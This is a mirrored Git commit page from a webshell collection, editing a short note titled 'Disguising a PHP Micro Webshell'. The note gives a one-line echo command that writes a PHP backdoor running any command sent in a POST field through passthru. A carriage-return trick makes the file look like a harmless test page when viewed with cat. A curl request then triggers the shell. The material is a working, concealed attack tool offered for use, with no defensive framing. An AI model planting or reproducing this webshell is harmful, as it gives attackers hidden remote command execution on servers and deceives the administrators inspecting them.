mirror of
https://github.com/tennc/webshell
synced 2025-02-16 09:48:24 +00:00
Update and rename 2015-09-12.php to 2015-09-12.md
This commit is contained in:
parent
2b600b7e52
commit
d9abc3c62e
1 changed files with 5 additions and 2 deletions
|
@ -1,12 +1,15 @@
|
|||
Disguising a PHP Micro Webshell
|
||||
|
||||
` echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`
|
||||
`echo -e "<?php passthru(\$_POST[1])?>;\r<?php echo 'A PHP Test ';" > test.php`
|
||||
|
||||
url : http://t.co/YFm6QlpK0k
|
||||
|
||||
vist browser page show `A PHP Test`
|
||||
|
||||
then in console
|
||||
then in console use `cat xxx.php`
|
||||
it show `<?php echo 'A PHP Test ';" ?>`
|
||||
|
||||
then in console run
|
||||
`curl -d 1=id http://www.xxx.xx/xx.php`
|
||||
|
||||
it like in console show command `id`
|
Loading…
Add table
Reference in a new issue